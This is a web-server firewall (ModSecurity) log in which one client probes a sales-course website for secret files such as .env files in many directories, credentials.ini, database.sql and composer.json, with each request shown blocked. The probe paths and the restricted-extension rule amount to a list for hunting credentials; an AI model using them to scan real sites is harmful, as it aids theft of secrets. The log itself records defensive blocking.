[Tue Oct 27 09:07:42.516909 2026] [security2:error] [pid 3237991:tid 3237991] [client 34.140.234.80:42632] ModSecurity: Warning. Matched phrase "/composer.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /composer.json found within REQUEST_FILENAME: /composer.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/composer.json"] [unique_id "auCiHkyUSZ-HOP4isatNFAAAABY"]
[Tue Oct 27 09:07:42.517041 2026] [security2:error] [pid 3237991:tid 3237991] [client 34.140.234.80:42632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/composer.json"] [unique_id "auCiHkyUSZ-HOP4isatNFAAAABY"]
[Tue Oct 27 09:07:42.517276 2026] [security2:error] [pid 3237991:tid 3237991] [client 34.140.234.80:42632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/composer.json"] [unique_id "auCiHkyUSZ-HOP4isatNFAAAABY"]
[Tue Oct 27 09:07:42.591356 2026] [security2:error] [pid 3238204:tid 3238204] [client 34.140.234.80:42620] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/config/.env"] [unique_id "auCiHiK9f-ffgwd-vVTKKAAAAAE"]
[Tue Oct 27 09:07:42.591513 2026] [security2:error] [pid 3238204:tid 3238204] [client 34.140.234.80:42620] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/config/.env"] [unique_id "auCiHiK9f-ffgwd-vVTKKAAAAAE"]
[Tue Oct 27 09:07:42.591787 2026] [security2:error] [pid 3238204:tid 3238204] [client 34.140.234.80:42620] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/config/.env"] [unique_id "auCiHiK9f-ffgwd-vVTKKAAAAAE"]
[Tue Oct 27 09:07:42.594936 2026] [security2:error] [pid 3237883:tid 3237883] [client 34.140.234.80:42614] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/core/.env"] [unique_id "auCiHivHqw5XD_QUjlp9AwAAAA4"]
[Tue Oct 27 09:07:42.595063 2026] [security2:error] [pid 3237883:tid 3237883] [client 34.140.234.80:42614] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/core/.env"] [unique_id "auCiHivHqw5XD_QUjlp9AwAAAA4"]
[Tue Oct 27 09:07:42.595326 2026] [security2:error] [pid 3237883:tid 3237883] [client 34.140.234.80:42614] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/core/.env"] [unique_id "auCiHivHqw5XD_QUjlp9AwAAAA4"]
[Tue Oct 27 09:07:42.601254 2026] [security2:error] [pid 3237888:tid 3237888] [client 34.140.234.80:42580] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "curso-de-ventas.com"] [uri "/credentials.ini"] [unique_id "auCiHtlxVzpWq3t5phLIlgAAAA8"]
[Tue Oct 27 09:07:42.601510 2026] [security2:error] [pid 3237888:tid 3237888] [client 34.140.234.80:42580] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/credentials.ini"] [unique_id "auCiHtlxVzpWq3t5phLIlgAAAA8"]
[Tue Oct 27 09:07:42.601756 2026] [security2:error] [pid 3237888:tid 3237888] [client 34.140.234.80:42580] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/credentials.ini"] [unique_id "auCiHtlxVzpWq3t5phLIlgAAAA8"]
[Tue Oct 27 09:07:42.634653 2026] [security2:error] [pid 3238311:tid 3238311] [client 34.140.234.80:42652] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "curso-de-ventas.com"] [uri "/database.sql"] [unique_id "auCiHsYLThtfGXx9TuqyXwAAAAc"]
[Tue Oct 27 09:07:42.634863 2026] [security2:error] [pid 3238311:tid 3238311] [client 34.140.234.80:42652] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/database.sql"] [unique_id "auCiHsYLThtfGXx9TuqyXwAAAAc"]
[Tue Oct 27 09:07:42.635140 2026] [security2:error] [pid 3238311:tid 3238311] [client 34.140.234.80:42652] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/database.sql"] [unique_id "auCiHsYLThtfGXx9TuqyXwAAAAc"]
[Tue Oct 27 09:07:42.667104 2026] [security2:error] [pid 3238204:tid 3238204] [client 34.140.234.80:42620] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /demo/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/demo/.env"] [unique_id "auCiHiK9f-ffgwd-vVTKKQAAAAE"]
[Tue Oct 27 09:07:42.667293 2026] [security2:error] [pid 3238204:tid 3238204] [client 34.140.234.80:42620] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/demo/.env"] [unique_id "auCiHiK9f-ffgwd-vVTKKQAAAAE"]
[Tue Oct 27 09:07:42.667540 2026] [security2:error] [pid 3238204:tid 3238204] [client 34.140.234.80:42620] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/demo/.env"] [unique_id "auCiHiK9f-ffgwd-vVTKKQAAAAE"]
[Tue Oct 27 09:07:42.667955 2026] [security2:error] [pid 3238221:tid 3238221] [client 34.140.234.80:42594] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dev/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/dev/.env"] [unique_id "auCiHuImPdbb84WcZtcWKgAAAAM"]
[Tue Oct 27 09:07:42.668096 2026] [security2:error] [pid 3238221:tid 3238221] [client 34.140.234.80:42594] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/dev/.env"] [unique_id "auCiHuImPdbb84WcZtcWKgAAAAM"]
[Tue Oct 27 09:07:42.668385 2026] [security2:error] [pid 3238221:tid 3238221] [client 34.140.234.80:42594] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/dev/.env"] [unique_id "auCiHuImPdbb84WcZtcWKgAAAAM"]
[Tue Oct 27 09:07:42.710866 2026] [security2:error] [pid 3238311:tid 3238311] [client 34.140.234.80:42652] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/frontend/.env"] [unique_id "auCiHsYLThtfGXx9TuqyYAAAAAc"]
[Tue Oct 27 09:07:42.711018 2026] [security2:error] [pid 3238311:tid 3238311] [client 34.140.234.80:42652] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/frontend/.env"] [unique_id "auCiHsYLThtfGXx9TuqyYAAAAAc"]
[Tue Oct 27 09:07:42.711267 2026] [security2:error] [pid 3238311:tid 3238311] [client 34.140.234.80:42652] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/frontend/.env"] [unique_id "auCiHsYLThtfGXx9TuqyYAAAAAc"]
[Tue Oct 27 09:07:42.744954 2026] [security2:error] [pid 3237991:tid 3237991] [client 34.140.234.80:42632] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/laravel/.env"] [unique_id "auCiHkyUSZ-HOP4isatNFwAAABY"]
[Tue Oct 27 09:07:42.745082 2026] [security2:error] [pid 3237991:tid 3237991] [client 34.140.234.80:42632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/laravel/.env"] [unique_id "auCiHkyUSZ-HOP4isatNFwAAABY"]
[Tue Oct 27 09:07:42.745370 2026] [security2:error] [pid 3237991:tid 3237991] [client 34.140.234.80:42632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/laravel/.env"] [unique_id "auCiHkyUSZ-HOP4isatNFwAAABY"]
[Tue Oct 27 09:07:42.747259 2026] [security2:error] [pid 3237883:tid 3237883] [client 34.140.234.80:42614] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /media/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/media/.env"] [unique_id "auCiHivHqw5XD_QUjlp9BQAAAA4"]
[Tue Oct 27 09:07:42.747402 2026] [security2:error] [pid 3237883:tid 3237883] [client 34.140.234.80:42614] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/media/.env"] [unique_id "auCiHivHqw5XD_QUjlp9BQAAAA4"]
[Tue Oct 27 09:07:42.747645 2026] [security2:error] [pid 3237883:tid 3237883] [client 34.140.234.80:42614] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/media/.env"] [unique_id "auCiHivHqw5XD_QUjlp9BQAAAA4"]
[Tue Oct 27 09:07:42.750759 2026] [security2:error] [pid 3238015:tid 3238015] [client 34.140.234.80:42574] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /new/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/new/.env"] [unique_id "auCiHmCe8-MB-b_EgcUqogAAAB8"]
[Tue Oct 27 09:07:42.750892 2026] [security2:error] [pid 3238015:tid 3238015] [client 34.140.234.80:42574] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/new/.env"] [unique_id "auCiHmCe8-MB-b_EgcUqogAAAB8"]
[Tue Oct 27 09:07:42.751123 2026] [security2:error] [pid 3238015:tid 3238015] [client 34.140.234.80:42574] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/new/.env"] [unique_id "auCiHmCe8-MB-b_EgcUqogAAAB8"]
[Tue Oct 27 09:07:42.753097 2026] [security2:error] [pid 3237888:tid 3237888] [client 34.140.234.80:42580] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /old/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/old/.env"] [unique_id "auCiHtlxVzpWq3t5phLImAAAAA8"]
[Tue Oct 27 09:07:42.753268 2026] [security2:error] [pid 3237888:tid 3237888] [client 34.140.234.80:42580] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/old/.env"] [unique_id "auCiHtlxVzpWq3t5phLImAAAAA8"]
[Tue Oct 27 09:07:42.753486 2026] [security2:error] [pid 3237888:tid 3237888] [client 34.140.234.80:42580] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/old/.env"] [unique_id "auCiHtlxVzpWq3t5phLImAAAAA8"]
[Tue Oct 27 09:07:42.819577 2026] [security2:error] [pid 3238204:tid 3238204] [client 34.140.234.80:42620] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /production/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/production/.env"] [unique_id "auCiHiK9f-ffgwd-vVTKKwAAAAE"]
[Tue Oct 27 09:07:42.819807 2026] [security2:error] [pid 3238204:tid 3238204] [client 34.140.234.80:42620] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/production/.env"] [unique_id "auCiHiK9f-ffgwd-vVTKKwAAAAE"]
